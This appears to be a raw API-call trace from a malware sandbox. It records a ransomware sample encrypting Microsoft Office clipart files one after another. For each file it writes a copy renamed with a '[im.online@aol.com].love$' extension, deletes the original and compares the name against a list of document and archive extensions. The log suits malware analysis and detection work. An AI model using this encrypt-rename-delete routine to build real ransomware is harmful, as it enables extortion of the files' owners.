[0242.381] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0242.382] GetLastError () returned 0x0 [0242.382] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x8b2, lpOverlapped=0x0) returned 1 [0242.567] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0242.568] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.568] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.569] SetEndOfFile (hFile=0x528) returned 1 [0242.569] CloseHandle (hObject=0x528) returned 1 [0242.569] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.569] SetEndOfFile (hFile=0x534) returned 1 [0242.572] CloseHandle (hObject=0x534) returned 1 [0242.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0242.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0242.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0242.573] lstrlenW (lpString=".doc") returned 4 [0242.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.573] lstrlenW (lpString=".docx") returned 5 [0242.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.573] lstrlenW (lpString=".pdf") returned 4 [0242.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.574] lstrlenW (lpString=".xls") returned 4 [0242.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.574] lstrlenW (lpString=".xlsx") returned 5 [0242.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.574] lstrlenW (lpString=".ppt") returned 4 [0242.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0242.574] lstrlenW (lpString=".zip") returned 4 [0242.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.574] lstrlenW (lpString=".rar") returned 4 [0242.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.574] lstrlenW (lpString=".bz2") returned 4 [0242.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.574] lstrlenW (lpString=".7z") returned 3 [0242.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0242.574] lstrlenW (lpString=".dbf") returned 4 [0242.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0242.574] lstrlenW (lpString=".1cd") returned 4 [0242.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0242.574] lstrlenW (lpString=".jpg") returned 4 [0242.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0242.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0242.575] lstrlenW (lpString=".doc") returned 4 [0242.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.575] lstrlenW (lpString=".docx") returned 5 [0242.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.575] lstrlenW (lpString=".pdf") returned 4 [0242.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.575] lstrlenW (lpString=".xls") returned 4 [0242.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.575] lstrlenW (lpString=".xlsx") returned 5 [0242.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.575] lstrlenW (lpString=".ppt") returned 4 [0242.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0242.575] lstrlenW (lpString=".zip") returned 4 [0242.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.575] lstrlenW (lpString=".rar") returned 4 [0242.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.575] lstrlenW (lpString=".bz2") returned 4 [0242.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.575] lstrlenW (lpString=".7z") returned 3 [0242.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0242.575] lstrlenW (lpString=".dbf") returned 4 [0242.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0242.575] lstrlenW (lpString=".1cd") returned 4 [0242.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0242.576] lstrlenW (lpString=".jpg") returned 4 [0242.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.576] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.576] lstrlenW (lpString="DD01140_.WMF") returned 12 [0242.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0242.577] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3616) returned 1 [0242.577] CloseHandle (hObject=0x534) returned 1 [0242.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220 [0242.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0242.577] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.578] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0242.579] GetLastError () returned 0x0 [0242.579] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xe20, lpOverlapped=0x0) returned 1 [0242.739] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xe30, lpOverlapped=0x0) returned 1 [0242.740] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.740] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.740] SetEndOfFile (hFile=0x528) returned 1 [0242.740] CloseHandle (hObject=0x528) returned 1 [0242.741] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.741] SetEndOfFile (hFile=0x534) returned 1 [0242.743] CloseHandle (hObject=0x534) returned 1 [0242.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0242.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0242.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0242.745] lstrlenW (lpString=".doc") returned 4 [0242.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.745] lstrlenW (lpString=".docx") returned 5 [0242.745] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.745] lstrlenW (lpString=".pdf") returned 4 [0242.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.745] lstrlenW (lpString=".xls") returned 4 [0242.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.745] lstrlenW (lpString=".xlsx") returned 5 [0242.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.745] lstrlenW (lpString=".ppt") returned 4 [0242.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0242.745] lstrlenW (lpString=".zip") returned 4 [0242.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.745] lstrlenW (lpString=".rar") returned 4 [0242.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.745] lstrlenW (lpString=".bz2") returned 4 [0242.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.745] lstrlenW (lpString=".7z") returned 3 [0242.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0242.745] lstrlenW (lpString=".dbf") returned 4 [0242.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0242.745] lstrlenW (lpString=".1cd") returned 4 [0242.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0242.745] lstrlenW (lpString=".jpg") returned 4 [0242.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0242.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0242.746] lstrlenW (lpString=".doc") returned 4 [0242.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.746] lstrlenW (lpString=".docx") returned 5 [0242.746] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.746] lstrlenW (lpString=".pdf") returned 4 [0242.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.746] lstrlenW (lpString=".xls") returned 4 [0242.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.746] lstrlenW (lpString=".xlsx") returned 5 [0242.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.746] lstrlenW (lpString=".ppt") returned 4 [0242.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0242.746] lstrlenW (lpString=".zip") returned 4 [0242.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.746] lstrlenW (lpString=".rar") returned 4 [0242.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.746] lstrlenW (lpString=".bz2") returned 4 [0242.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.746] lstrlenW (lpString=".7z") returned 3 [0242.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0242.746] lstrlenW (lpString=".dbf") returned 4 [0242.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0242.747] lstrlenW (lpString=".1cd") returned 4 [0242.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0242.747] lstrlenW (lpString=".jpg") returned 4 [0242.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.747] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.747] lstrlenW (lpString="DD01146_.WMF") returned 12 [0242.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0242.748] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=2796) returned 1 [0242.748] CloseHandle (hObject=0x534) returned 1 [0242.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220 [0242.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0242.748] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.748] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.165] GetLastError () returned 0x0 [0243.165] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xaec, lpOverlapped=0x0) returned 1 [0243.167] WriteFile (in: hFile=0x544, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xaf0, lpOverlapped=0x0) returned 1 [0243.168] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.168] WriteFile (in: hFile=0x544, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.168] SetEndOfFile (hFile=0x544) returned 1 [0243.168] CloseHandle (hObject=0x544) returned 1 [0243.168] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.169] SetEndOfFile (hFile=0x534) returned 1 [0243.171] CloseHandle (hObject=0x534) returned 1 [0243.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0243.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0243.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0243.174] lstrlenW (lpString=".doc") returned 4 [0243.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.174] lstrlenW (lpString=".docx") returned 5 [0243.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.174] lstrlenW (lpString=".pdf") returned 4 [0243.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.174] lstrlenW (lpString=".xls") returned 4 [0243.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.174] lstrlenW (lpString=".xlsx") returned 5 [0243.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.174] lstrlenW (lpString=".ppt") returned 4 [0243.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0243.174] lstrlenW (lpString=".zip") returned 4 [0243.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.174] lstrlenW (lpString=".rar") returned 4 [0243.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.174] lstrlenW (lpString=".bz2") returned 4 [0243.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.174] lstrlenW (lpString=".7z") returned 3 [0243.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0243.175] lstrlenW (lpString=".dbf") returned 4 [0243.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0243.175] lstrlenW (lpString=".1cd") returned 4 [0243.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0243.175] lstrlenW (lpString=".jpg") returned 4 [0243.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0243.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0243.175] lstrlenW (lpString=".doc") returned 4 [0243.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.175] lstrlenW (lpString=".docx") returned 5 [0243.175] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.175] lstrlenW (lpString=".pdf") returned 4 [0243.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.175] lstrlenW (lpString=".xls") returned 4 [0243.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.175] lstrlenW (lpString=".xlsx") returned 5 [0243.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.175] lstrlenW (lpString=".ppt") returned 4 [0243.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0243.175] lstrlenW (lpString=".zip") returned 4 [0243.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.175] lstrlenW (lpString=".rar") returned 4 [0243.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.175] lstrlenW (lpString=".bz2") returned 4 [0243.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.175] lstrlenW (lpString=".7z") returned 3 [0243.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0243.175] lstrlenW (lpString=".dbf") returned 4 [0243.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0243.176] lstrlenW (lpString=".1cd") returned 4 [0243.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0243.176] lstrlenW (lpString=".jpg") returned 4 [0243.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.176] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.176] lstrlenW (lpString="DD01157_.WMF") returned 12 [0243.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0243.177] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3588) returned 1 [0243.177] CloseHandle (hObject=0x534) returned 1 [0243.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220 [0243.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0243.177] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.177] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.178] GetLastError () returned 0x0 